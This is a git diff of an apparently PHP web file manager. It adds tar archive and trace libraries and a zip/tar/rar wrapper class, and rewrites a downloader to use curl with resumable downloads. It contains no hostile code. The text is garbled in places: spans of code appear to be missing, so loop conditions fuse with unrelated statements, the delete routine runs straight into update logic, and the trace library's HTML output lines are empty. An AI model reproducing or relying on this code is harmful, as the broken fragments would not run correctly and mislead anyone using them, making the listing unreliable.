$p_remove_path, $p_tar_mode) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleExtractFile", "archive_descr='$p_tar', path=$p_path, remove_path='$p_remove_path', tar_mode=$p_tar_mode"); + $v_result=1; + + // TBC : I should replace all $v_tar by $p_tar in this function .... + $v_tar = $p_tar; + $v_extract_file = 1; + + $p_remove_path_size = strlen($p_remove_path); + + // ----- Look for path to remove + if (($p_remove_path != "") + && (substr($v_header[filename], 0, $p_remove_path_size) == $p_remove_path)) + { + TrFctMessage(__FILE__, __LINE__, 3, "Found path '$p_remove_path' to remove in file '$v_header[filename]'"); + // ----- Remove the path + $v_header[filename] = substr($v_header[filename], $p_remove_path_size); + TrFctMessage(__FILE__, __LINE__, 3, "Resulting file is '$v_header[filename]'"); + } + + // ----- Add the path to the file + if (($p_path != "./") && ($p_path != "/")) + { + // ----- Look for the path end '/' + while (substr($p_path, -1) == "/") + { + TrFctMessage(__FILE__, __LINE__, 3, "Destination path [$p_path] ends by '/'"); + $p_path = substr($p_path, 0, strlen($p_path)-1); + TrFctMessage(__FILE__, __LINE__, 3, "Modified to [$p_path]"); + } + + // ----- Add the path + if (substr($v_header[filename], 0, 1) == "/") + $v_header[filename] = $p_path.$v_header[filename]; + else + $v_header[filename] = $p_path."/".$v_header[filename]; + } + + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Extracting file (with path) '$v_header[filename]', size '$v_header[size]'"); + + // ----- Check that the file does not exists + if (file_exists($v_header[filename])) + { + TrFctMessage(__FILE__, __LINE__, 2, "File '$v_header[filename]' already exists"); + + // ----- Look if file is a directory + if (is_dir($v_header[filename])) + { + TrFctMessage(__FILE__, __LINE__, 2, "Existing file '$v_header[filename]' is a directory"); + + // ----- Change the file status + $v_header[status] = "already_a_directory"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + // ----- Look if file is write protected + else if (!is_writeable($v_header[filename])) + { + TrFctMessage(__FILE__, __LINE__, 2, "Existing file '$v_header[filename]' is write protected"); + + // ----- Change the file status + $v_header[status] = "write_protected"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + // ----- Look if the extracted file is older + else if (filemtime($v_header[filename]) > $v_header[mtime]) + { + TrFctMessage(__FILE__, __LINE__, 2, "Existing file '$v_header[filename]' is newer (".date("l dS of F Y h:i:s A", filemtime($v_header[filename])).") than the extracted file (".date("l dS of F Y h:i:s A", $v_header[mtime]).")"); + + // ----- Change the file status + $v_header[status] = "newer_exist"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + } + + // ----- Check the directory availability and create it if necessary + else + { + if ($v_header[typeflag]=="5") + $v_dir_to_check = $v_header[filename]; + else if (!strstr($v_header[filename], "/")) + $v_dir_to_check = ""; + else + $v_dir_to_check = dirname($v_header[filename]); + + if (($v_result = PclTarHandlerDirCheck($v_dir_to_check)) != 1) + { + TrFctMessage(__FILE__, __LINE__, 2, "Unable to create path for '$v_header[filename]'"); + + // ----- Change the file status + $v_header[status] = "path_creation_fail"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + } + + // ----- Do the real bytes extraction (if not a directory) + if (($v_extract_file) && ($v_header[typeflag]!="5")) + { + // ----- Open the destination file in write mode + if (($v_dest_file = @fopen($v_header[filename], "wb")) == 0) + { + TrFctMessage(__FILE__, __LINE__, 2, "Error while opening '$v_header[filename]' in write binary mode"); + + // ----- Change the file status + $v_header[status] = "write_error"; + + // ----- Jump to next file + TrFctMessage(__FILE__, __LINE__, 2, "Jump to next file"); + if ($p_tar_mode == "tar") + fseek($v_tar, ftell($v_tar)+(ceil(($v_header[size]/512))*512)); + else + gzseek($v_tar, gztell($v_tar)+(ceil(($v_header[size]/512))*512)); + } + else + { + TrFctMessage(__FILE__, __LINE__, 2, "Start extraction of '$v_header[filename]'"); + + // ----- Read data + $n = floor($v_header[size]/512); + for ($i=0; $i<$n; $i++) + { + TrFctMessage(__FILE__, __LINE__, 3, "Read complete 512 bytes block number ".($i+1)); + if ($p_tar_mode == "tar") + $v_content = fread($v_tar, 512); + else + $v_content = gzread($v_tar, 512); + fwrite($v_dest_file, $v_content, 512); + } + if (($v_header[size] % 512) != 0) + { + TrFctMessage(__FILE__, __LINE__, 3, "Read last ".($v_header[size] % 512)." bytes in a 512 block"); + if ($p_tar_mode == "tar") + $v_content = fread($v_tar, 512); + else + $v_content = gzread($v_tar, 512); + fwrite($v_dest_file, $v_content, ($v_header[size] % 512)); + } + + // ----- Close the destination file + fclose($v_dest_file); + + // ----- Change the file mode, mtime + touch($v_header[filename], $v_header[mtime]); + //chmod($v_header[filename], DecOct($v_header[mode])); + } + + // ----- Check the file size + clearstatcache(); + if (filesize($v_header[filename]) != $v_header[size]) + { + // ----- Error log + PclErrorLog(-7, "Extracted file '$v_header[filename]' does not have the correct file size '".filesize($v_filename)."' ('$v_header[size]' expected). Archive may be corrupted."); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Extraction done"); + } + else + { + TrFctMessage(__FILE__, __LINE__, 2, "Extraction of file '$v_header[filename]' skipped."); + + // ----- Jump to next file + TrFctMessage(__FILE__, __LINE__, 2, "Jump to next file"); + if ($p_tar_mode == "tar") + fseek($v_tar, ftell($v_tar)+(ceil(($v_header[size]/512))*512)); + else + gzseek($v_tar, gztell($v_tar)+(ceil(($v_header[size]/512))*512)); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleDelete() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleDelete($p_tarname, $p_file_list, &$p_list_detail, $p_tar_mode) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleDelete", "archive='$p_tarname', list, tar_mode=$p_tar_mode"); + $v_result=1; + $v_nb=0; + + // ----- Look for regular tar file + if ($p_tar_mode == "tar") + { + // ----- Open file + TrFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode"); + if (($v_tar = @fopen($p_tarname, "rb")) == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open file '$p_tarname' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Open a temporary file in write mode + $v_temp_tarname = PCLTAR_TEMPORARY_DIR.uniqid("pcltar-").".tmp";//add by warlee; + TrFctMessage(__FILE__, __LINE__, 2, "Creating temporary archive file $v_temp_tarname"); + if (($v_temp_tar = @fopen($v_temp_tarname, "wb")) == 0) + { + // ----- Close tar file + fclose($v_tar); + + // ----- Error log + PclErrorLog(-1, "Unable to open file '$v_temp_tarname' in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + } + + // ----- Look for compressed tar file + else + { + // ----- Open the file in read mode + TrFctMessage(__FILE__, __LINE__, 3, "Open file in gzip binary read mode"); + if (($v_tar = @gzopen($p_tarname, "rb")) == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open file '$p_tarname' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Open a temporary file in write mode + $v_temp_tarname = PCLTAR_TEMPORARY_DIR.uniqid("pcltar-").".tmp";//add by warlee; + TrFctMessage(__FILE__, __LINE__, 2, "Creating temporary archive file $v_temp_tarname"); + if (($v_temp_tar = @gzopen($v_temp_tarname, "wb")) == 0) + { + // ----- Close tar file + gzclose($v_tar); + + // ----- Error log + PclErrorLog(-1, "Unable to open file '$v_temp_tarname' in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + } + + // ----- Read the blocks + While (!($v_end_of_file = ($p_tar_mode == "tar"?feof($v_tar):gzeof($v_tar)))) + { + TrFctMessage(__FILE__, __LINE__, 3, "Looking for next header ..."); + + // ----- Clear cache of file infos + clearstatcache(); + + // ----- Reset delete tag + $v_delete_file = FALSE; + + // ----- Read the first 512 block header + if ($p_tar_mode == "tar") + $v_binary_data = fread($v_tar, 512); + else + $v_binary_data = gzread($v_tar, 512); + + // ----- Read the header properties + if (($v_result = PclTarHandleReadHeader($v_binary_data, $v_header)) != 1) + { + // ----- Close the archive file + if ($p_tar_mode == "tar") + { + fclose($v_tar); + fclose($v_temp_tar); + } + else + { + gzclose($v_tar); + gzclose($v_temp_tar); + } + @unlink($v_temp_tarname); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Look for empty blocks to skip + if ($v_header[filename] == "") + { + TrFctMessage(__FILE__, __LINE__, 2, "Empty block found. End of archive ?"); + continue; + } + + TrFctMessage(__FILE__, __LINE__, 2, "Found file '$v_header[filename]', size '$v_header[size]'"); + + // ----- Look for filenames to delete + for ($i=0, $v_delete_file=FALSE; ($i $v_header[mtime]) + { + TrFctMessage(__FILE__, __LINE__, 3, "File '$p_file_list[$i]' need to be updated"); + $v_update_file = TRUE; + } + else + { + TrFctMessage(__FILE__, __LINE__, 3, "File '$p_file_list[$i]' does not need to be updated"); + $v_update_file = FALSE; + } + + // ----- Flag the name in order not to add the file at the end + $v_found_list[$i] = 1; + } + else + { + TrFctMessage(__FILE__, __LINE__, 4, "File '$p_file_list[$i]' is not '$v_header[filename]'"); + } + } + + // ----- Copy files that do not need to be updated + if (!$v_update_file) + { + TrFctMessage(__FILE__, __LINE__, 2, "Keep file '$v_header[filename]'"); + + // ----- Write the file header + if ($p_tar_mode == "tar") + { + fputs($v_temp_tar, $v_binary_data, 512); + } + else + { + gzputs($v_temp_tar, $v_binary_data, 512); + } + + // ----- Write the file data + $n = ceil($v_header[size]/512); + for ($j=0; $j<$n; $j++) + { + TrFctMessage(__FILE__, __LINE__, 3, "Read complete 512 bytes block number ".($j+1)); + if ($p_tar_mode == "tar") + { + $v_content = fread($v_tar, 512); + fwrite($v_temp_tar, $v_content, 512); + } + else + { + $v_content = gzread($v_tar, 512); + gzwrite($v_temp_tar, $v_content, 512); + } + } + + // ----- File name and properties are logged if listing mode or file is extracted + TrFctMessage(__FILE__, __LINE__, 2, "Memorize info about file '$v_header[filename]'"); + + // ----- Add the array describing the file into the list + $p_list_detail[$v_nb] = $v_header; + $p_list_detail[$v_nb][status] = ($v_found_file?"not_updated":"ok"); + + // ----- Increment + $v_nb++; + } + + // ----- Look for file that need to be updated + else + { + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Start update of file '$v_current_filename'"); + + // ----- Store the old file size + $v_old_size = $v_header[size]; + + // ----- Add the file + if (($v_result = PclTarHandleAddFile($v_temp_tar, $v_current_filename, $p_tar_mode, $v_header, $p_add_dir, $p_remove_dir)) != 1) + { + // ----- Close the tarfile + if ($p_tar_mode == "tar") + { + fclose($v_tar); + fclose($v_temp_tar); + } + else + { + gzclose($v_tar); + gzclose($v_temp_tar); + } + @unlink($p_temp_tarname); + + // ----- Return status + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Skip old file '$v_header[filename]'"); + + // ----- Jump to next file + if ($p_tar_mode == "tar") + fseek($v_tar, ftell($v_tar)+(ceil(($v_old_size/512))*512)); + else + gzseek($v_tar, gztell($v_tar)+(ceil(($v_old_size/512))*512)); + + // ----- Add the array describing the file into the list + $p_list_detail[$v_nb] = $v_header; + $p_list_detail[$v_nb][status] = "updated"; + + // ----- Increment + $v_nb++; + } + + // ----- Look for end of file + if ($p_tar_mode == "tar") + $v_end_of_file = feof($v_tar); + else + $v_end_of_file = gzeof($v_tar); + } + + // ----- Look for files that does not exists in the archive and need to be added + for ($i=0; $i=0; $i--) + { + // ----- Look for current path + if ($v_list[$i] == ".") + { + // ----- Ignore this directory + // Should be the first $i=0, but no check is done + } + else if ($v_list[$i] == "..") + { + // ----- Ignore it and ignore the $i-1 + $i--; + } + else if (($v_list[$i] == "") && ($i!=(sizeof($v_list)-1)) && ($i!=0)) + { + // ----- Ignore only the double '//' in path, + // but not the first and last '/' + } + else + { + $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); + } + } + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + +// ----- End of double include look +} +?> \ No newline at end of file diff --git a/lib/class/archiveLib/pcltrace.lib.php b/lib/class/archiveLib/pcltrace.lib.php new file mode 100755 index 0000000..43fa564 --- /dev/null +++ b/lib/class/archiveLib/pcltrace.lib.php @@ -0,0 +1,454 @@ +"; + echo ""; + echo ""; + echo ""; + echo "
    Trace
    "; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + + // ----- Content header + echo ""; + + // ----- Display + $v_again=0; + for ($i=0; $i"; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + } + + // ----- Content footer + echo "
    "; + $n = ($g_pcl_trace_entries[$i][index]+1)*10; + echo ""; + + echo ""; + switch ($g_pcl_trace_entries[$i][type]) { + case 1: + echo ""; + break; + case 2: + echo ""; + break; + case 3: + case 4: + echo ""; + break; + default: + echo ""; + } + echo "
    "; + + for ($j=0; $j<=$g_pcl_trace_entries[$i][index]; $j++) + { + if ($j==$g_pcl_trace_entries[$i][index]) + { + if (($g_pcl_trace_entries[$i][type] == 1) || ($g_pcl_trace_entries[$i][type] == 2)) + echo ""; + } + else + echo ""; + } + //echo ""; + echo "
    +
    |
     
    ".$g_pcl_trace_entries[$i][name]."(".$g_pcl_trace_entries[$i][param].")".$g_pcl_trace_entries[$i][name]."()=".$g_pcl_trace_entries[$i][param]."
    "; + echo "".$g_pcl_trace_entries[$i][message].""; + echo "
    ".$g_pcl_trace_entries[$i][name]."(".$g_pcl_trace_entries[$i][param].")
    ".basename($g_pcl_trace_entries[$i][file])."".$g_pcl_trace_entries[$i][line]."
    "; + + // ----- Trace footer + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
     
    "; + echo ""; + echo ""; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTraceAction() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function PclTraceAction($p_entry) + { + global $g_pcl_trace_level; + global $g_pcl_trace_mode; + global $g_pcl_trace_filename; + global $g_pcl_trace_name; + global $g_pcl_trace_index; + global $g_pcl_trace_entries; + + if ($g_pcl_trace_mode == "normal") + { + for ($i=0; $i<$p_entry[index]; $i++) + echo "---"; + if ($p_entry[type] == 1) + echo "".$p_entry[name]."(".$p_entry[param].") : ".$p_entry[message]." [".$p_entry[file].", ".$p_entry[line]."]
    "; + else if ($p_entry[type] == 2) + echo "".$p_entry[name]."()=".$p_entry[param]." : ".$p_entry[message]." [".$p_entry[file].", ".$p_entry[line]."]
    "; + else + echo $p_entry[message]." [".$p_entry[file].", ".$p_entry[line]."]
    "; + } + } + // -------------------------------------------------------------------------------- + +// ----- End of double include look +} +?> \ No newline at end of file diff --git a/lib/class/pclzip.class.php b/lib/class/archiveLib/pclzip.class.php similarity index 100% rename from lib/class/pclzip.class.php rename to lib/class/archiveLib/pclzip.class.php diff --git a/lib/class/downloader.class.php b/lib/class/downloader.class.php index 377656a..ef7fac8 100755 --- a/lib/class/downloader.class.php +++ b/lib/class/downloader.class.php @@ -8,35 +8,33 @@ */ class downloader { - static function start($url, $save_file,$headers = array(),$timeout = 10) { + static function start($url,$save_file,$timeout = 10) { $data_file = $save_file . '.download.cfg'; $save_temp = $save_file . '.downloading'; - //if not support range - $file_header = url_header($url); - $url = $file_header['url']; - - //show_json(get_headers("http://sabre.io/",true)); - if(!$file_header['support_range'] || - $file_header['length']<=0){ - unlink($save_temp); - unlink($save_file); - return self::file_download_this($url,$save_file,$file_header['length']); + //header:{'url','length','name','support_range'} + if(is_array($url)){ + $file_header = $url; + }else{ + $file_header = url_header($url); } - // default header - $url_info = self::parse_url($url); - if (!$url_info) { - return array('code'=>false,'data'=>'url_error'); + $url = $file_header['url']; + //默认下载方式if not support range + if(!$file_header['support_range'] || + $file_header['length'] == 0 ){ + @unlink($save_temp); + @unlink($save_file); + + $result = self::file_download_fopen($url,$save_file,$file_header['length']); + if($result['code']) { + return $result; + }else{ + @unlink($save_temp); + @unlink($save_file); + return self::file_download_curl($url,$save_file); + } } - $def_headers = array( - 'Accept' => '*/*', - 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)', - 'Host' => $url_info['host'], - 'Connection' => 'Close', - 'Accept-Language' => 'zh-cn', - ); - $headers = array_merge($def_headers, $headers); $exists_length = is_file($save_temp) ? filesize($save_temp) : 0; $content_length = intval($file_header['length']); @@ -50,13 +48,6 @@ class downloader { $temp_data = file_get_contents($data_file); $exists_data = json_decode($temp_data, 1); } - // check file is valid - if ($exists_length == $content_length) { - $exists_data && @unlink($data_file); - self::move_file($save_temp,$save_file,$data_file); - return array('code'=>true,'data'=>'temp_exist'); - } - // exist and is the same file; if( file_exists($save_file) && $content_length == filesize($save_file)){ @unlink($save_temp); @@ -71,30 +62,21 @@ class downloader { if($exists_length > $content_length){ @unlink($save_temp); } - // write exists data file_put_contents($data_file, json_encode($exists_data)); - $download_status = self::download_content( - $url_info['host'], - $url_info['port'], - $url_info['request'], - $save_temp, - $content_length, - $exists_length, - $headers, - $timeout - ); - if ($download_status['code']) { - self::move_file($save_temp,$save_file,$data_file); + $result = self::file_download_curl($url,$save_file,true,$exists_length); + if($result['code']){ + @unlink($data_file); } - return $download_status; + return $result; } // fopen then download - static function file_download_this($from, $file_name,$header_size=0){ - @set_time_limit(0); + static function file_download_fopen($url, $file_name,$header_size=0){ $file_temp = $file_name.'.downloading'; - if ($fp = @fopen ($from, "rb")){ + @set_time_limit(0); + @unlink($file_temp); + if ($fp = @fopen ($url, "rb")){ if(!$download_fp = @fopen($file_temp, "wb")){ return array('code'=>false,'data'=>'open_downloading_error'); } @@ -115,9 +97,12 @@ class downloader { //下载完成,重命名临时文件到目标文件 fclose($download_fp); fclose($fp); - if(!rename($file_temp,$file_name)){ - unlink($file_name); - return rename($file_temp,$file_name); + if(!@rename($file_temp,$file_name)){ + @unlink($file_name); + $res = @rename($file_temp,$file_name); + if(!$res){ + return array('code'=>false,'data'=>'file rename error!'); + } } return array('code'=>true,'data'=>'success'); }else{ @@ -125,104 +110,35 @@ class downloader { } } - static function move_file($from,$to,$data_file){ - $res = @rename($from,$to); - if(!$res){ - @unlink($to); - @rename($from,$to); - } - @unlink($data_file); - } - - /** - * parse url - * - * @param $url - * @return bool|mixed - */ - static function parse_url($url) { - $url_info = parse_url($url); - if (!$url_info['host']) { - return false; - } - $url_info['port'] = $url_info['port'] ? $url_info['host'] : 80; - $url_info['request'] = $url_info['path'] . ($url_info['query'] ? '?' . $url_info['query'] : ''); - return $url_info; - } - - static function download_content($host, $port, $url_path, $save_file, $content_length, $range_start,&$headers, $timeout) { - $request = self::build_header('GET', $url_path, $headers, $range_start); - $fsocket = @fsockopen($host, $port, $errno, $errstr, $timeout); - stream_set_blocking($fsocket, TRUE); - stream_set_timeout($fsocket, $timeout); - fwrite($fsocket, $request); - $status = stream_get_meta_data($fsocket); - if ($status['timed_out']) { - return array('code'=>false,'data'=>'socket_connect_timeout'); - } - $is_header_end = 0; - $total_size = $range_start; - $file_fp = fopen($save_file, 'a+'); - - if (!$file_fp || !flock($file_fp, LOCK_EX)) { - fclose($file_fp); - return array('code'=>false,'data'=>'downloading'); - } - while (!feof($fsocket)) { - if(!file_exists($save_file)){ - flock($file_fp, LOCK_UN); - fclose($fsocket); - fclose($file_fp); - return array('code'=>false,'data'=>'stoped'); + // curl 方式下载 + // 断点续传 http://www.linuxidc.com/Linux/2014-10/107508.htm + static function file_download_curl($url, $file_name,$support_range=false,$exists_length=0){ + $file_temp = $file_name.'.downloading'; + @set_time_limit(0); + if ($fp = @fopen ($file_temp, "a")){ + $ch = curl_init($url); + + //断点续传 + if($support_range){ + curl_setopt($ch, CURLOPT_RANGE, $exists_length."-"); } - if (!$is_header_end) { - $line = @fgets($fsocket); - if (in_array($line, array("\n", "\r\n"))) { - $is_header_end = 1; + curl_setopt($ch, CURLOPT_FILE, $fp); + curl_setopt($ch, CURLOPT_REFERER,get_url_link($url)); + $res = curl_exec($ch); + curl_close($ch); + if($res && filesize($file_temp) != 0){ + if(!@rename($file_temp,$file_name)){ + @unlink($file_name); + $res = @rename($file_temp,$file_name); + if(!$res){ + return array('code'=>false,'data'=>'file rename error!'); + } } - continue; - } - - $resp = fread($fsocket, 10240); - $read_length = strlen($resp); - if ($resp === false || $content_length < $total_size + $read_length) { - flock($file_fp, LOCK_UN); - fclose($fsocket); - fclose($file_fp); - return array('code'=>false,'data'=>'socket_error'); - } - $total_size += $read_length; - fputs($file_fp, $resp); - - if ($content_length == $total_size) { - break; + return array('code'=>true,'data'=>'success'); } + return array('code'=>false,'data'=>'curl exec error!'); + }else{ + return array('code'=>false,'data'=>'file create error'); } - flock($file_fp, LOCK_UN); - fclose($fsocket); - fclose($file_fp); - return array('code'=>true,'data'=>'success'); - } - - /** - * build header for socket - * - * @param $action - * @param $url_path - * @param $headers - * @param int $range_start - * @return string - */ - static function build_header($action, $url_path, &$headers, $range_start = -1) { - $out = $action . " {$url_path} HTTP/1.0\r\n"; - foreach ($headers as $hkey => $hval) { - $out .= $hkey . ': ' . $hval . "\r\n"; - } - if ($range_start > -1) { - $out .= "Accept-Ranges: bytes\r\n"; - $out .= "Range: bytes={$range_start}-\r\n"; - } - $out .= "\r\n"; - return $out; } } diff --git a/lib/class/fileCache.class.php b/lib/class/fileCache.class.php index 3fb3a93..a186811 100755 --- a/lib/class/fileCache.class.php +++ b/lib/class/fileCache.class.php @@ -165,10 +165,16 @@ class fileCache{ public static function load($file){//10000次需要4s 数据量差异不大。 if (!$file) return false; $file = iconv_system($file); - if (!file_exists($file)){ - @touch($file); + if ((!file_exists($file) || filesize($file) == 0 ) && + !file_exists($file.'.lock') ){//并发下;正在写或删除 + @file_put_contents($file,CONFIG_EXIT); } - $str = file_get_contents($file); + + $str = file_read_safe($file,0.4); + if($str === false || strlen($str) == 0){ + show_tips('[Error Code:1010] fileCache load error!'.$file); + } + $str = substr($str, strlen(CONFIG_EXIT)); $data= json_decode($str,true); if (is_null($data)) $data = array(); @@ -195,26 +201,7 @@ class fileCache{ if(is_null($json_str)){//含有二进制或非utf8字符串对应检测 show_tips('json_encode error!'); } - $buffer = CONFIG_EXIT.$json_str; - $file_temp = $file.mtime(); - if($fp = fopen($file_temp, "w")){ - fwrite($fp, $buffer); - fflush($fp); - fclose($fp); - $res = rename($file_temp,$file); - if(!$res){ - unlink($file); - $res = rename($file_temp,$file); - if(!$res || !file_exists($file)){ - unlink($file_temp); - file_put_contents($file,$buffer); - } - } - }else{ - unlink($file_temp); - show_tips('[fileCache:save] open error!'); - } - return true; + return file_wirte_safe($file,$buffer,0.3); } } diff --git a/lib/class/kodArchive.class.php b/lib/class/kodArchive.class.php new file mode 100755 index 0000000..a4f18ea --- /dev/null +++ b/lib/class/kodArchive.class.php @@ -0,0 +1,287 @@ + array('zip','ipa','apk'), + 'tar' => array('tar','tar.gz','gz','tgz'), + 'rar' => array('rar','7z','xz','bz2','arj','cab','iso') + ); + + $result = in_array($ext,$ext_array[$app_type]); + if( $result && + ($app_type == 'zip' || $app_type == 'tar') && + (!function_exists('gzopen') || !function_exists('gzinflate')) + ){ + show_tips("[Error] Can't Open; Missing zlib extensions"); + } + + if( $result && $app_type == 'rar' && + (!function_exists('shell_exec') || !strstr(shell_exec('echo "kalcaddle"'),'kalcaddle')) + ){ + show_tips("[Error] Can't Open; shell_exec Can't use"); + } + return $result; + } + + /** + * [listContent description] + * @param [type] $file [archive file] + * @return [type] [array or false] + */ + static function listContent($file,$output=true) { + $ext = get_path_ext($file); + $result = false; + if( self::checkIfType($ext,'zip') ){ + $zip = new PclZip($file); + $result = $zip->listContent(); + }else if( self::checkIfType($ext,'tar') ){ + $result_old = PclTarList($file); + $result = array(); + for ($i=0; $i < count($result_old); $i++) { + $item = $result_old[$i]; + //http://rpm5.org/docs/api/tar_8c-source.html + if( $item['typeflag'] == 'x' || $item['typeflag'] == 'g'){ + continue; + } + if($output){ + $item['filename'] = ltrim($item['filename'],'./'); + } + if($item['typeflag'] == '5'){ + $item['folder'] = true; + }else{ + $item['folder'] = false; + } + $item['index'] = $i; + $result[] = $item; + } + }else if( self::checkIfType($ext,'rar') ){ + $app_result = kodRarArchive::listContent($file); + if(!$app_result['code']){ + return $app_result; + }else{ + $result = $app_result['data']; + } + } + + if($result){ + //编码转换 + $charset = unzip_charset_get($result); + $output = $output && $charset != 'utf-8' && function_exists('iconv'); + for ($i=0; $i < count($result); $i++) { + //不允许相对路径 + $result[$i]['filename'] = str_replace(array('../','..\\'),"_",$result[$i]['filename']); + if($output){ + $result[$i]['filename'] = @iconv($charset,'utf-8', $result[$i]['filename']); + } + } + return array('code'=>true,'data'=>$result); + }else{ + return array('code'=>false,'data'=>$result); + } + } + + /** + * [extract description] + * @param [type] $file [archive file] + * @param [type] $dest [extract to folder] + * @param string $part [archive file content] + * @return [type] [array] + */ + static function extract($file, $dest, $part = '-1',&$part_name=false) { + $ext = get_path_ext($file); + $list_content = self::listContent($file,false);//不转码 + if(!$list_content['code']){ + return $list_content; + } + if($part != '-1'){//解压部分.则构造 $path_remove $index_path + $index_info = self::fileIndex($list_content['data'],$part); + $part_name = str_replace(array('../','..\\'),'_',$index_info['filename']); + $index_path = $part_name; + if($GLOBALS['config']['system_charset'] != 'utf-8'){ + $index_path = unzip_pre_name($part_name);//系统编码 + } + $path_remove = get_path_father($index_path); + if($index_info['folder']){ + $index_path = rtrim($index_path,'/').'/';//tar 解压文件夹需要/结尾 + $part_name = array($part_name); + } + + $temp_check = str_replace('\\','/',$index_path); + if(substr($temp_check,-1) == '/'){ + //跟目录;需要追加一层文件夹;window a\b\c\ linux a/b/c/ + if( !strstr(trim($temp_check,'/'),'/') ){ + $dest = $dest.unzip_pre_name(get_path_this($temp_check)).'/'; + } + }else{ + if($path_remove == $index_path){//根目录文件; + $path_remove = ''; + } + } + //debug_out($index_info,$index_path,$part_name,$path_remove,$temp_check); + } + + if( self::checkIfType($ext,'zip') ){ + $zip = new PclZip($file); + //解压内部的一部分,按文件名或文件夹来 + if($part != '-1'){ + $result = $zip->extract(PCLZIP_OPT_PATH,$dest, + PCLZIP_OPT_SET_CHMOD,DEFAULT_PERRMISSIONS, + PCLZIP_CB_PRE_FILE_NAME,'unzip_pre_name', + + PCLZIP_OPT_BY_NAME,$index_info['filename'], + PCLZIP_OPT_REMOVE_PATH,$path_remove, + PCLZIP_OPT_REPLACE_NEWER); + }else{ + $result = $zip->extract(PCLZIP_OPT_PATH,$dest, + PCLZIP_OPT_SET_CHMOD,DEFAULT_PERRMISSIONS, + PCLZIP_CB_PRE_FILE_NAME,'unzip_pre_name', + PCLZIP_OPT_REPLACE_NEWER);//解压到某个地方,覆盖方式 + } + return array('code'=>$result,'data'=>$zip->errorName(true)); + }else if( self::checkIfType($ext,'tar') ){ + //TrOn(10); + if($part != '-1'){ + $result = PclTarExtractList($file,array($index_path),$dest,$path_remove); + }else{ + $result = PclTarExtract($file,$dest); + } + //TrDisplay();exit; + return array('code'=>$result,'data'=>PclErrorString(true)); + }else if( self::checkIfType($ext,'rar') ){ + return kodRarArchive::extract($file,$dest,$ext,$part_name); + } + return array('code'=>false,'data'=>'File Type Not Support'); + } + + static function fileIndex($list,$index,$key=false){ + if(!is_array($list)) return false; + $len = count($list); + for ($i=0; $i < $len; $i++) { + if($index == $list[$i]['index']){ + $item = $list[$i]; + break; + } + } + if(!$item){ + show_tips('kodArchive:fileIndex; index error;file not exists!'); + } + $result = $item; + if($key){ + $result = $item[$key]; + if($item['folder']){ + $result = rtrim($result,'/').'/';//tar 解压文件夹需要结尾/ + } + } + return $result; + } + + + /** + * [filePreview file preview or download a file;] + * @param [type] $file [archive file name] + * @param [type] $index [file index] + * @return [type] [echo to client;] + */ + static function filePreview($file,$index,$download=false){ + $temp = TEMP_PATH.'others/'.md5(rand_string(40).time()).'/'; + mk_dir($temp); + touch(TEMP_PATH.'others/index.html'); + + $part_name = ''; + $result = self::extract($file, $temp,$index,$part_name); + if(is_array($part_name)){//不能是数组——文件夹 + del_dir($temp); + show_json('unzip preview folder error!'); + } + + //$part_name 压缩文件原名;初始编码;转为当前文件系统编码 + $part_name = unzip_pre_name($part_name); + $file = unzip_filter_ext($temp.get_path_this($part_name)); + $filename_output = get_path_this($part_name); + if(!$result['code']){ + del_dir($temp); + show_json($result['data'],false); + } + //debug_out($part_name,$file,bin2hex($file)); + if(!file_exists($file)){ + del_dir($temp); + show_json('unzip error!'); + } + $new_file = $temp.md5(rand_string(40).time()); + @rename($file,$new_file); + if(!file_exists($new_file)){ + del_dir($temp); + show_json('unzip:rename error!'); + } + file_put_out($new_file,$download,$filename_output); + del_dir($temp); + } + /** + * [create description] + * @param [type] $file [archive file name] + * @param [type] $files [files add;file or folders] + * @return [type] [bool] + */ + static function create($file,$files) { + $ext = get_path_ext($file); + $result = false; + if( self::checkIfType($ext,'zip') ){ + $archive = new PclZip($file); + foreach ($files as $key =>$val) { + $remove_path_pre = _DIR_CLEAR(get_path_father($val)); + if($key == 0){ + $result = $archive->create($val, + PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, + 